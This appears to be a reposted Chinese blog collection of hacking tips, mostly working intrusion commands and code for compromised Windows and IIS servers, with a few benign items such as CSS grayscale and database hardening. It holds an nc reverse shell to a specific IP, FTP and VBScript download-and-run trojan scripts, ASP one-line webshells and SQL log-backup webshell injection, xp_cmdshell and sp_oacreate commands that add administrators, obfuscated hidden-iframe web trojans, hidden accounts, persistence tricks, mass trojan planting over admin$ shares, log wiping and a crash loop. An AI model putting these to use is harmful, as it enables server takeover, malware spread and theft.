bopzhou
bopzhou

转笔记

*作者:alxston 

---------- 
  玩黑也有几年时间了，收藏点技术性的方法还是有的，以下是我的收藏内容，网上也有，我也有很多，因为人比较懒，没有小何哥那个勤快，所以就东捡西挑搞些自己觉得用的着的放出来！ 

网站页面黑白化 

方法：在你的CSS头部加上以下代码 
XML/HTML代码 
html { filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1); }    
没有CSS，在网页加： 
在网页/模板 HTML代码 
<head>和</head> 之间，插入 

XML/HTML代码 
<style>html { filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1); }</style>  
有一些站长可能这个css 不能显示，是因为你的网站没有使用最新的标准协议 
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd“> 
请加上这句 

应用命令处理文件夹.使其防病毒.也防自己的黑款被杀软追杀. 
为了方便 我已经做好了一个批处理: 

@md e:/加密文件夹/5/6/7/8 
@attrib e:/加密文件夹/5/6/7/8 +a +r +s +h 
@attrib e:/加密文件夹/5/6/7 +a +r +s +h 
@attrib e:/加密文件夹/5/6 +a +r +s +h 
@attrib e:/加密文件夹/5 +a +r +s +h 
@cacls e:/加密文件夹/5/6/7/8 /p everyone:f 
@cacls e:/加密文件夹/5/6/7 /p everyone:n 
@cacls e:/加密文件夹/5/6 /p everyone:n 
@cacls e:/加密文件夹/5 /p everyone:n 

如果你的硬盘是FAT32格式的就得先把它转换为NTFS  用到命令：运行CMD 转到该盘下输入: 
convert [盘符]:/fs:ntfs 
convert e:/fs:ntfs 

这里NC的路径  t e 是NC的参数  意思就是反弹CMD 到 指定的IP端口。  55   好。 
  路径/nc.exe -t -e C:/wmpub/cmd.exe 115.46.150.243 55 

   这里的意思就是 监听所有信息指定的端口  我们指定的端口是 55  然后webshell 执行 
  本地监听   这需要本地执行 
  nc -l -p 端口 

刚也说了他支持CER的 我们 CER他也解析成ASP的  我们直接丢上去 
这里连个上传或是提交什么都没的 我们怎么传？？？ 
呵呵 我们用一个语句 
javascript:lbtnUpload.click();  

什对上传 
######################################################################## 
1.  点击windows的“开始”菜单，选择“运行”; 

2.  在输入框中输入“regsvr32 jscript.dll”(不包括双引号),点击确认; 

3.  再次点击windows的“开始”菜单,选择“运行”; 

4.  在输入框中输入“regsvr32 vbscript.dll”(不包括双引号),点击确认; 

隐藏连接 
　　DIV: 
　　<div style=”display:none;”> 
　　<a href=http://www.hacker.com.cn/ 
　　target=”_blank”>Linux</a></div> 
　　 
　　javascript: 
　　<script language=”javascript” type=”text/javascript”> 
　　document.write(“<div style=’display:none;’>”); 
　　</script><div> 
　　<a href=http://www.hacker.com.cn/>Linux</a> 
　　<script language=”javascript” type=”text/javascript”> 
　　document.write(”</div>”); 
　　</script> 
　　 
　　html: 
　　<marquee height=1 width=5 SCROLLAMOUNT=3000 SCROLLDELAY=20000> 
　　<a href=http://www.hacker.com.cn/>Linux</a> 
　　</MARQUEE> 
　　 
　　css1: 
　　<div style=”position: absolute; top: -999px;left: -999px;”> 
　　<a href=http://www.hacker.com.cn/>Linux</a> 
　　</div> 
　　 
　　css2: 
　　<div style=”position:absolute;left:expression(1-900);top:expression(3-999);”> 
　　<a href=http://www.hacker.com.cn/>Linux</a> 
　　</div> 

                                          TXT文件挂马(经典) 

<SCRIPT>alert(test)</script> <iframe src=http://www.baidu.com width=500 height=500></iframe>

                                     rm 挂马的RM格式的歌曲 

所需工具 

RealMedia Editor (下载地址:http://www.crsky.com/soft/1953.html) 

*.TXT文件 (把此段代码单独存放在一个*.txt里,  u 00:00:01.0 00:00:05.0 &&_rpexternal&&http://www.baidu.com 
首先打开RealMedia Editor  点击 文件 ,打开 RealMedia 文件,选中需要打开的RealMedia文件 

在点击 工具 合并事件 然后选择存放代码的*.TXT文件,接着屏幕上显示 正在合并事件文件. 
u 00:00:01.0 00:00:05.0 &&_rpexternal&&http://www.baidu.com/ 

u 00:00:01指的是RM文件开始播放的时间 

0 00:00:05指的是网页木马自动弹出的时间 你们可以设置自己喜欢的时间秒 

rpexternal&&http://www.baidu.com/   指的是网页木马具体地址 这里我写百度。 

                                 ftp下載代碼 

@echo open 192.168.1.102>>abc.txt& 
@echo 123>>abc.txt& 
@echo 123>>abc.txt& 
@echo bin>>abc.txt& 
@echo get gezi.exe>>abc.txt& 
@echo bye>>abc.txt& 
@ftp -s:abc.txt&gezi.exe 
IE首页修改 

“%HOMEDRIVE%/Program Files/Internet Explorer/iexplore.exe” http://www.baidu.com 
%HOMEDRIVE%%HOMEPATH% 

以下是小何收藏的： 

本日志专门收集整理平时学习过程的黑客技术与技巧。 

1、Xp系统修改权限防止病毒或木马等破坏系统，cmd下， 
cacls C:/windows/system32 /G hqw20:R 
思是给hqw20这个用户只能读取SYSTEM32目录，但不能进行修改或写入 
恢复方法：C:/>cacls C:/windows/system32 /G hqw20:F 

2、用Microsoft自带的IExpress工具作的捆绑木马可以躲过很多杀毒软件，运行对话框中输入Iexpress。 

3、内网使用灰鸽子，肉鸡上vidcs.exe -p端口，本地VIDCS里，VIDCS服务IP 填肉鸡的IP，VIDCS服务端口，就是给肉鸡开的端口，BINDIP添自己的内网IP，BIND端口 添8000，映射端口添8000。 

4、建立隐藏帐号，上次总结了用guest建立隐藏的管理员，这次再介绍一种，在cmd下建立一个ating$的用户，然后注册表下复制管理员的1F4里的F 值到ating$的F值，再把ating$改为$,这样在计算机管理的用户里看不到这个隐藏帐号

5、利用INF文件来修改注册表 
[Version] 
Signature=”$CHICAGO$” 
[Defaultinstall] 
addREG=Ating 
[Ating] 
HKCU,”Software/Microsoft/Windows/CurrentVersion/Policies/system”,”disableregistrytools”,”0×00010001″,”1″
以上代码保存为inf格式，注意没有换行符，在命令行里导入inf的命令如下： 
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 inf文件的具体路径 
其中HKEY_CLASSES_ROOT 简写为 HKCR，HKEY_CURRENT_USER 简写为 HKCU 
HKEY_LOCAL_MACHINE 简写为 HKLM，HKEY_USERS 简写为 HKU 
HKEY_CURRENT_CONFIG 简写为 HKCC 
0×00000000 代表的是 字符串值，0×00010001 代表的是 DWORD值 
“1″这里代表是写入或删除注册表键值中的具体数据 

6、关于制作穿xp2防火墙的radmin，大家一定要会，各大黑客网站都有动画, 
多了一步就是在防火墙里添加个端口，然后导出其键值 
[HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/SharedAccess/Parameters/FirewallPolicy/StandardProfile/GloballyOpenPorts/List]

7、系统启动时Alerter服务启动前启动木马程序ating.exe,此方法很隐蔽 
在[HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/CurrentVersion/Image File Execution Options]下建立service.exe项，再在service.exe项建立一个Debugger的键（字符串值），键值填ating.exe的全路径。 

8、将ftp.exe传到服务器用来提权，可以先把它变成ating.gif格式的再用，迷惑管理员。 

9、有时候在我们进入了网站后台，但是没有上传图片和备份等功能，得不到webshell, 
可是不能白来一场，可以看看发表公告或新闻支不支持html和script,支持的话加个frame马或者其他的什么。 

10、用google帮我们找网站后台,搜索”filetype:asp site:www.hack6.com inurl:login” 

11、我们中了盗密码的木马后不要急于删除，一般这些木马都是把密码发到指定邮箱，我们可以用探嗅软件来找到邮箱的用户名和密码，比如安全焦点的xsniff， 
用法：xsniff –pass –hide –log pass.txt 

12、google搜索的艺术 
搜索关键字：“未闭合的引号”或“ADODB.Field.error”或“Either BOF or EOF in True” 
或“字符串的语法错误”可以找到很多sql注入漏洞。 

13、还可以搜一些木马的关键字，比如搜索“管理登陆 海洋顶端 inurl:asp”,搜到了说明此网站服务器的其中网站肯定有漏洞。 

14、cmd中输入 nc –vv –l –p 1987 
做个bat文件内容为sqlhello 起始ip 1433 终止ip 1987 扫鸡吃 

15、制作T++木马，先写个ating.hta文件,内容为 
<script language=”VBScript”> 
set wshshell=createobject (“wscript.shell” ) 
a=wshshell.run(“你马的名称”,1) 
window.close 
</script> 
再用mshta生成T++木马，命令为mshta ating.hta ating.t++,用网页木马生成器生成网页木马。 

16、搜索栏里输入 
关键字%’and 1=1 and ‘%’=’ 
关键字%’and 1=2 and ‘%’=’ 
比较不同处 可以作为注入的特征字符 

17、挂马代码<html> 
<iframe src=”马的地址” width=”0″ height=”0″ frameborder=”0″></iframe> 
</html> 

18、开启regedt32的SAM的管理员权限 检查HKEY_LOCAL_MACHINE/SAM/SAM/和HKEY_LOCAL_MACHINE/SAM/SAM/下的管理员和guest的F键值,如果一样就是用被入侵过了,然后删了guest帐号,对方可以用guest帐号使用administraeors的权限,你也可以用这方法留住肉鸡,这方法是简单克隆, 
net localgroup administrators还是可以看出Guest是管理员来。 

19、软件instsrv.exe 把.exe文件做成系统服务来启动 用来肉鸡挂QQ等 
用法: 安装： instsrv.exe 服务名称 路径 
卸载： instsrv.exe 服务名称 REMOVE 
[url=/soft/instsrv.rar]点击本站下载[/url] 

21、SQL注入时工具—Internet选项—高级里找到显示友好的错误信息勾去掉 
不能注入时要第一时间想到%5c暴库。 

22、很多网站程序(比如华硕中文官方网站)上传图片时有可能在检测文件的时候是 从左朝又进行检测，也就是说，他会检测文件是不是有.jpg，那么我们要是把文件改成：ating.jpg.asp试试。。由于还是ASP结尾，所以木马不会变~ 

23、缺少xp_cmdshell时 
尝试恢复EXEC sp_addextendedproc xp_cmdshell,@dllname=’xplog70.dll’ 
假如恢复不成功,可以尝试直接加用户(针对开3389的) 
declare @o int 
exec sp_oacreate ‘wscript.shell’,@o out 
exec sp_oamethod @o,’run’,NULL,’cmd.exe /c net user ating ating /add’ 再提到管理员 

24.批量种植木马.bat 
for /f %%i in (扫描地址.txt) do copy pc.exe %%i/admin$ 复制木马到扫描的计算机当中 
for /f %%i in (扫描地址.txt) do at %%i 09:50 pc.exe 在对方计算机上运行木马的时间 
扫描地址.txt里每个主机名一行 用//开头 

25、在程序上传shell过程中，程序不允许包含<% %>标记符号的内容的文件上传,比如蓝屏最小 的asp木马<%execute request(“l”)%>,我们来把他的标签换一下： <script language=VBScript runat=server>execute request(“l”)</Script> 保存为.asp,程序照样执行。 

26、IIS6 For Windows 2003 Enterprise Edition 如IIS发布目录文件夹包含.asp后辍名. 
将.asp后辍改为.jpg或其它的如.htm,也可以运行asp,但要在.asp文件夹下. 
.cer 等后缀的文件夹下都可以运行任何后缀的asp木马 

27、telnet一台交换机 然后在telnet控制主机 控制主机留下的是交换机的IP 
然后用#clear logg和#clear line vty *删除日志 

28、电脑坏了省去重新安装系统的方法 
纯dos下执行， 
xp:copy C:/WINDOWS/repair/*.* 到c:/windows/system32/config 
2k: copy C:/winnt/repair/*.* 到c:/winnt/system32/config 

29、解决TCP/IP筛选 在注册表里有三处，分别是： 
HKEY_LOCAL_MACHINE/SYSTEM/ControlSet001/Services/Tcpip 
HKEY_LOCAL_MACHINE/SYSTEM/ControlSet002/Services/Tcpip 
HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip 
分别用 
regedit -e D:/a.reg HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip 
regedit -e D:/b.reg HKEY_LOCAL_MACHINE/SYSTEM/ControlSet002/Services/Tcpip 
regedit -e D:/c.reg HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Tcpip 
命令来导出注册表项 
然后把三个文件里的EnableSecurityFilters”=dword:00000001， 
改成EnableSecurityFilters”=dword:00000000 再将以上三个文件分别用 
regedit -s D:/a.reg regedit -s D:/b.reg regedit -s D:/c.reg 导入注册表即可。 

30、使CHM木马无法在本地运行木马程序 将注册表”HKEY_CURRENT_U 
SER/Software/Microsoft/Windows/CurrentVersion/Internet Settings/Zones/0″下的1004项的值由原来十进制的0改为十六进制的3 

31、全手工打造开3389工具 
打开记事本，编辑内容如下： 
echo [Components] > c:/sql 
echo TSEnable = on >> c:/sql 
sysocmgr /i:c:/winnt/inf/sysoc.inf /u:c:/sql /q 
编辑好后存为BAT文件，上传至肉鸡，执行 

32、挂马js代码document.write(‘<iframe height=0 width=0 src=”木马地址.htm”></iframe>’);保存到js页面里 可让所有页面挂马 

33、让服务器重启 
写个bat死循环: 
@echo off 
:loop1 
cls 
start cmd.exe 
goto loop1 
保存成bat guset权限就可以运行 运行后很快服务器就会死机 管理员自然会去重启 

34、如果你登录肉鸡的3389时发现有cmd一闪而过，那你可要小心了，管理员写了个bat在监视你， 
@echo off 
date /t >c:/3389.txt 
time /t >>c:/3389.txt 
attrib +s +h c:/3389.bat 
attrib +s +h c:/3389.txt 
netstat -an |find “ESTABLISHED” |find “:3389″ >>c:/3389.txt 
并保存为3389.bat 
打开注册表找到：Userinit这个键值 在末尾加入3389.bat所在的位置，比如我放到C盘，就写：,c:/3389.bat,注意一定要加个逗号 

35、有时候提不了权限的话，试试这个命令，在命令行里输入： 
start http://www.hack520.org/muma.htm然后点执行。（muma.htm是你上传好的漏洞网页） 
输入：netstat -an | find “28876″ 看看是否成功绑定，如果有就telnet上去，就有了system权限，当然也可以nc连接，本地执行命令。 

36、在cmd下用ftp上传马方法,我们可以用echo 写一个批处理文件 
echo open 你的FTP空间地址 >c:/1.bat //输入你的FTP地址 
echo 你的FTP账号 >>c:/1.bat //输入账号 
echo 你的FTP密码 >>c:/1.bat //输入密码 
echo bin >>c:/1.bat //登入 
echo get 你的木马名 c:/ ating.exe >>c:/1.bat //下载某文件到某地方并改名为什么 
echo bye >>c:/1.bat //退出 
然后执行ftp -s:c:/1.bat即可 

37、修改注册表开3389两法 
（1）win2000下开终端 首先用ECHO写一个3389.reg文件,然后导入到注册表 
echo Windows Registry Editor Version 5.00 >>3389.reg 
echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/netcache] >>3389.reg 
echo “Enabled”=”0″ >>3389.reg 
echo [HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows 
NT/CurrentVersion/Winlogon] >>3389.reg 
echo “ShutdownWithoutLogon”=”0″ >>3389.reg 
echo [HKEY_LOCAL_MACHINE/SOFTWARE/Policies/Microsoft/Windows/Installer] 
>>3389.reg 
echo “EnableAdminTSRemote”=dword:00000001 >>3389.reg 
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal Server] 
>>3389.reg 
echo “TSEnabled”=dword:00000001 >>3389.reg 
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermDD] >>3389.reg 
echo “Start”=dword:00000002 >>3389.reg 
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/TermService] 
>>3389.reg 
echo “Start”=dword:00000002 >>3389.reg 
echo [HKEY_USERS/.DEFAULT/Keyboard Layout/Toggle] >>3389.reg 
echo “Hotkey”=”1″ >>3389.reg 
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal 
Server/Wds/rdpwd/Tds/tcp] >>3389.reg 
echo “PortNumber”=dword:00000D3D >>3389.reg 
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal 
Server/WinStations/RDP-Tcp] >>3389.reg 
echo “PortNumber”=dword:00000D3D >>3389.reg 
把这些ECHO代码到CMDSHELL下贴粘就可以生成3389.reg文件，接着regedit /s 3389.reg导入注册表。 
(如果要改变终端端口只须把上面的两个D3D都改一下就可以了) 
因为win 2k下开终端不能像XP一样可以立即生效,而是需重启机器后才生效 
（2）winxp和win2003终端开启 
用以下ECHO代码写一个REG文件： 
echo Windows Registry Editor Version 5.00>>3389.reg 
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal 
Server]>>3389.reg 
echo “fDenyTSConnections”=dword:00000000>>3389.reg 
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal 
Server/Wds/rdpwd/Tds/tcp]>>3389.reg 
echo “PortNumber”=dword:00000d3d>>3389.reg 
echo [HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Control/Terminal 
Server/WinStations/RDP-Tcp]>>3389.reg 
echo “PortNumber”=dword:00000d3d>>3389.reg 
然后regedit /s 3389.reg del 3389.reg 
XP下不论开终端还是改终端端口都不需重启 

38、找到SA密码为空的肉鸡一定要第一时间改SA密码，防止别人和我们抢肉吃 
用查询分析器运行 EXEC sp_password NULL, ‘你要改的密码’, ’sa’ 

39、加强数据库安全 先要声明把mdb改成asp是不能防止下载的！ 
（1）数据库文件名应复杂并要有特殊字符 
（2）不要把数据库名称写在conn.asp里，要用ODBC数据源 
将conn.asp文档中的 
DBPath = Server.MapPath(“数据库.mdb”) 
conn.Open “driver={Microsoft Access Driver (*.mdb)};dbq=” ＆ DBPath 

修改为：conn.open “ODBC数据源名称,” 然后指定数据库文件的位置 
（3）不放在WEB目录里 

40、登陆终端后有两个东东很危险，query.exe和tsadmin.exe要Kill掉 
可以写两个bat文件 
@echo off 
@copy c:/winnt/system32/query.exe c:/winnt/system32/com/1/que.exe 
@del c:/winnt/system32/query.exe 
@del %SYSTEMROOT%/system32/dllcache/query.exe 
@copy c:/winnt/system32/com/1/query.exe c:/winnt/system32/query.exe //复制一个假的 

@echo off 
@copy c:/winnt/system32/tsadmin.exe c:/winnt/system32/com/1/tsadmin.exe 
@del c:/winnt/system32/tsadmin.exe 
@del %SYSTEMROOT%/system32/dllcache/tsadmin.ex 

41、映射对方盘符 
telnet到他的机器上， 
net share 查看有没有默认共享 如果没有，那么就接着运行 
net share c$=c: 
net share现在有c$ 
在自己的机器上运行 
net use k: //*.*.*.*/c$ 把目标共享映射到本地硬盘，盘符为K 

42、一些很有用的老知识 
type c:/boot.ini ( 查看系统版本 ) 
net start (查看已经启动的服务) 
query user ( 查看当前终端连接 ) 
net user ( 查看当前用户 ) 
net user 用户 密码/add ( 建立账号 ) 
net localgroup administrators 用户 /add (提升某用户为管理员) 
ipconfig -all ( 查看IP什么的 ) 
netstat -an ( 查看当前网络状态 ) 
findpass 计算机名 管理员名 winlogon的pid (拿到管理员密码) 
克隆时Administrator对应1F4 
guest对应1F5 
tsinternetuser对应3E8 

43、如果对方没开3389，但是装了Remote Administrator Service 
用这个命令F:/ftp.exe “regedit -s F:/longyi.biz/RAdmin.reg” 连接 
解释：用serv-u漏洞导入自己配制好的radmin的注册表信息 
先备份对方的F:/ftp.exe “regedit -e F:/1.reg HKEY_LOCAL_MACHINE/SYSTEM/RAdmin” 

44、用lcx做内网端口映射，先在肉鸡上监听 lcx -listen 52 8089 (端口自定） 
本地上运行映射，lcx -slave 鸡的ip 52 我内网的ip 80 (我的WEB是80端口） 

45、在服务器写入vbs脚本下载指定文件（比如用nbsi利用注入漏洞写入） 
echo Set x= CreateObject(^”Microsoft.XMLHTTP^”):x.Open 
^”GET^”,LCase(WScript.Arguments(0)),0:x.Send():Set s = 
CreateObject(^”ADODB.Stream^”):s.Mode = 3:s.Type = 
1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2 >ating.vbs 
（这是完整的一句话，其中没有换行符） 
然后下载: 
cscript down.vbs http://www.hack520.org/hack.exe hack.exe 

46、一句话木马成功依赖于两个条件： 
１、服务端没有禁止adodb.Stream或FSO组件 
２、权限问题：如果当前的虚拟目录禁止user级或everyone写入的话也是不会成功的。 

47、利用DB_OWNER权限进行手工备份一句话木马的代码： 
;alter database utsz set RECOVERY FULL– 
;create table cmd (a image)– 
;backup log utsz to disk = ‘D:/cmd’ with init– 
;insert into cmd (a) values (0×3C25657865637574652872657175657374282261222929253EDA)– 
;backup log utsz to disk = ‘D:/utsz_web/utsz/hacker.asp’– 
注：0×3C25657865637574652872657175657374282261222929253EDA为一句话木马的16进制形式。 

48、tlntadmn是telnet服务的设置命令，可以对telnet服务的端口、认证方式等进行设置： 

用法: tlntadmn [computer name] [common_options] start | stop | pause | continue | -s | -k | -m | config config_options 
所有会话用 ‘all’。 
-s sessionid列出会话的信息。 
-k sessionid终止会话。 
-m sessionid发送消息到会话。 

config配置 telnet 服务器参数。 

common_options 为: 
-u user 指定要使用其凭据的用户 
-p password 用户密码 

config_options 为: 
 dom = domain 设定用户的默认域 
 ctrlakeymap = yes|no 设定 ALT 键的映射 
 timeout = hh:mm:ss 设定空闲会话超时值 
 timeoutactive = yes|no 启用空闲会话。 
 maxfail = attempts 设定断开前失败的登录企图数。 
 maxconn = connections设定最大连接数。 
 port = number设定 telnet 端口。 
 sec = [+/-]NTLM [+/-]passwd 
设定身份验证机构 
 fname = file 指定审计文件名。 
 fsize = size 指定审计文件的最大尺寸(MB)。 
 mode = console|stream指定操作模式。 
 auditlocation = eventlog|file|both 
指定记录地点 
 audit = [+/-]user [+/-]fail [+/-]admin 

49、例如:在IE上访问: 
www.hack520.org/hack.txt就会跳转到http://www.hack520.org/ 
hack.txt里面的代码是： 
<body> <META HTTP-EQUIV=”Refresh” CONTENT=”5;URL=http://www.hack520.org/”> 
把这个hack.txt发到你空间就可以了！ 
这个可以利用来做网马哦！ 

50、autorun的病毒可以通过手动限制！ 
1，养成好习惯，插入U盘或移动硬盘，都要按住shift让其禁止自动运行！ 
2，打开盘符用右键打开！切忌双击盘符～ 
3，可以利用rar软件查看根目录下autorun病毒并删除之！他可以处理一些连右键都无法打开的分区！ 

51、log备份时的一句话木马： 
a).<%%25Execute(request(“go”))%%25> 
b).<%Execute(request(“go”))%> 
c).%><%execute request(“go”)%><% 
d).<script language=VBScript runat=server>execute request(“sb”)</Script> 
e).<%25Execute(request(“l”))%25> 
f).<%if request(“cmd”)<>”” then execute request(“pass”)%> 

52、at “12:17″ /interactive cmd 
执行后可以用AT命令查看新加的任务 
用AT这个命令以交互的方式运行cmd.exe 这样运行的cmd.exe是system权限。 

53、隐藏ASP后门的两种方法 
1、建立非标准目录：mkdir images../ 
拷贝ASP木马至目录：copy c:/inetpub/wwwroot/dbm6.asp c:/inetpub/wwwroot/images../news.asp 
通过web访问ASP木马：http://ip/images../news.asp?action=login 
如何删除非标准目录：rmdir images../ /s 
2、Windows中的IIS会对以.asp结尾的目录中的文件进行解析，以达到我们隐藏自己的网页后门的目的: 
mkdir programme.asp 
新建1.txt文件内容：<!–#include file=”12.jpg”–> 
新建12.jpg文件内容：<%execute(request(“l”))%> 或使用GIF与ASP合并后的文件 
attrib +H +S programme.asp 
通过web访问ASP一句话木马：http://ip/images/programme.asp/1.txt 

54、attrib /d /s c:/windows +h +s，后windows目录变为隐藏＋系统，隐藏属性为灰不可更改，windows目录下面的文件和目录并没有继承属性，原来是什么样还是什么样。 
然后在利用attrib /d /s c:/windows -h -s，windows目录可以显示，隐藏属性可以再次选中。 

55、JS隐蔽挂马 
1. 
var tr4c3=”<iframe src=ht”; 
tr4c3 = tr4c3+”tp:/”; 
tr4c3 = tr4c3+”/ww”; 
tr4c3 = tr4c3+”w.tr4″; 
tr4c3 = tr4c3+”c3.com/inc/m”; 
tr4c3 = tr4c3+”m.htm style=”display:none”></i”; 
tr4c3 =tr4c3+”frame>’”; 
document.write(tr4c3); 
避免被管理员搜索网马地址找出来。把变量名定义的和网站本身的接近些，混淆度增加。 

2. 
转换进制，然后用EVAL执行。如 
eval(“/144/157/143/165/155/145/156/164/56/167/162/151/164/145/40/50/42/74/151/146/162/141/155/145/40/163/162/143/75/150/164/164/160/72/57/57/167/167/167/56/164/162/64/143/63/56/143/157/155/57/151/156/143/57/155/155/56/150/164/155/40/163/164/171/154/145/75/42/42/144/151/163/160/154/141/171/72/156/157/156/145/42/42/76/74/57/151/146/162/141/155/145/76/42/51/73″);
不过这个有点显眼。 
3. 
document.write (‘<iframe src=http://www.tr4c3.com/inc/mm.htm style=”display:none”></iframe>’);
最后一点，别忘了把文件的时间也修改下。 

56.3389终端入侵常用DOS命令 
taskkill  taskkill /PID 1248 /t 

tasklist  查进程 

cacls “C:/Program Files/ewido anti-spyware 4.0/guard.exe” /d:everyone  改、降低某文件权限 
iisreset /reboot 
tsshutdn /reboot /delay:1    重起服务器 

logoff 12  要使用会话 ID（例如，会话 12）从会话中注销用户， 

query user  查看当前终端用户在线情况 

要显示有关所有会话使用的进程的信息，请键入：query process * 

要显示有关会话 ID 2 使用的进程的信息，请键入：query process /ID:2 

要显示有关服务器 SERVER2 上所有活动会话的信息，请键入：query session /server:SERVER2 

要显示有关当前会话 MODEM02 的信息，请键入：query session MODEM02 

命令列:rundll32.exe user.exe,restartwindows 功能: 系统重启 

命令列:rundll32.exe user.exe,exitwindows 功能: 关闭系统 

命令列: rundll32.exe user.exe,restartwindows 功能: 强行关闭所有程式并重启机器。 

命令列: rundll32.exe user.exe,exitwindows 功能: 强行关闭所有程式并关机 

56、在地址栏或按Ctrl+O，输入： 
javascript:s=document.documentElement.outerHTML;document.write(‘<body></body>’);document.body.innerText=s;

源代码就出来了。不论加密如何复杂，最终都要还原成浏览器可以解析的html代码，而documentElement.outerHTML正是最终的结果。 

57、net user的时候，是不能显示加$的用户，但是如果不处理的话， 
用net localgroup administrators是可以看到管理组下，加了$的用户的。 

58、 sa弱口令相关命令 

一.更改sa口令方法： 
用sql综合利用工具连接后，执行命令： 
exec sp_password NULL,’20001001′,’sa’ 
(提示：慎用!) 

二.简单修补sa弱口令. 

方法1:查询分离器连接后执行： 
if exists (select * from 
dbo.sysobjects where id = object_id(N’[dbo].[xp_cmdshell]‘) and 
OBJECTPROPERTY(id, N’IsExtendedProc’) = 1) 

exec sp_dropextendedproc N’[dbo].[xp_cmdshell]‘ 

GO 

然后按F5键命令执行完毕 

方法2:查询分离器连接后 
第一步执行：use master 
第二步执行：sp_dropextendedproc ‘xp_cmdshell’ 
然后按F5键命令执行完毕 

三.常见情况恢复执行xp_cmdshell. 

1  未能找到存储过程’master..xpcmdshell’. 
恢复方法：查询分离器连接后, 
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname =’xplog70.dll’declare @o int 
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’ 
然后按F5键命令执行完毕 

2  无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126（找不到指定模块。） 
恢复方法：查询分离器连接后, 
第一步执行：sp_dropextendedproc “xp_cmdshell” 
第二步执行：sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’ 
然后按F5键命令执行完毕 

3  无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。) 
恢复方法：查询分离器连接后, 
第一步执行:exec sp_dropextendedproc ‘xp_cmdshell’ 
第二步执行:exec sp_addextendedproc ‘xp_cmdshell’,’xpweb70.dll’ 
然后按F5键命令执行完毕 

四.终极方法. 
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户: 
查询分离器连接后, 
2000servser系统: 
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:/winnt/system32/cmd.exe /c net user 用户名 密码 /add’ 

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:/winnt/system32/cmd.exe /c net localgroup administrators  用户名 /add’ 

xp或2003server系统: 

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:/windows/system32/cmd.exe /c net user 用户名 密码 /add’ 

declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:/windows/system32/cmd.exe /c net localgroup administrators 用户名 /add’ 

59、开23端口telnet的话，太危险了。 
大家都可以扫描到。就不是个人的后门了。。 
这里很简单只需要一句命令： 
tlntadmn config port=1001 
这句命令的意思是把telnet23端口改为1001 
大家可以自己更改在1025以内的端口。。可以欺骗性的改25。。呵呵

你可能感兴趣的:(转笔记)

  • 10月|愿你的青春不负梦想-读书笔记-01 Tracy的小书斋
    本书的作者是俞敏洪，大家都很熟悉他了吧。俞敏洪老师是我行业的领头羊吧，也是我事业上的偶像。本日摘录他书中第一章中的金句：『一个人如果什么目标都没有，就会浑浑噩噩，感觉生命中缺少能量。能给我们能量的，是对未来的期待。第一件事，我始终为了进步而努力。与其追寻全世界的骏马，不如种植丰美的草原，到时骏马自然会来。第二件事，我始终有阶段性的目标。什么东西能给我能量？答案是对未来的期待。』读到这里的时候，我便
  • 《投行人生》读书笔记 小蘑菇的树洞
    《投行人生》----作者詹姆斯-A-朗德摩根斯坦利副主席40年的职业洞见-很短小精悍的篇幅，比较适合初入职场的新人。第一部分成功的职业生涯需要规划1.情商归为适应能力分享与协作同理心适应能力，更多的是自我意识，你有能力识别自己的情并分辨这些情绪如何影响你的思想和行为。2.对于初入职场的人的建议，细节，截止日期和数据很重要截止日期，一种有效的方法是请老板为你所有的任务进行优先级排序。和老板喝咖啡的好
  • LocalDateTime 转 String igotyback java开发语言
    importjava.time.LocalDateTime;importjava.time.format.DateTimeFormatter;publicclassMain{publicstaticvoidmain(String[]args){//获取当前时间LocalDateTimenow=LocalDateTime.now();//定义日期格式化器DateTimeFormatterformat
  • 【一起学Rust | 设计模式】习惯语法——使用借用类型作为参数、格式化拼接字符串、构造函数 广龙宇 一起学Rust#Rust设计模式rust设计模式开发语言
    提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档文章目录前言一、使用借用类型作为参数二、格式化拼接字符串三、使用构造函数总结前言Rust不是传统的面向对象编程语言，它的所有特性，使其独一无二。因此，学习特定于Rust的设计模式是必要的。本系列文章为作者学习《Rust设计模式》的学习笔记以及自己的见解。因此，本系列文章的结构也与此书的结构相同（后续可能会调成结构），基本上分为三个部分
  • git常用命令笔记 咩酱-小羊 git笔记
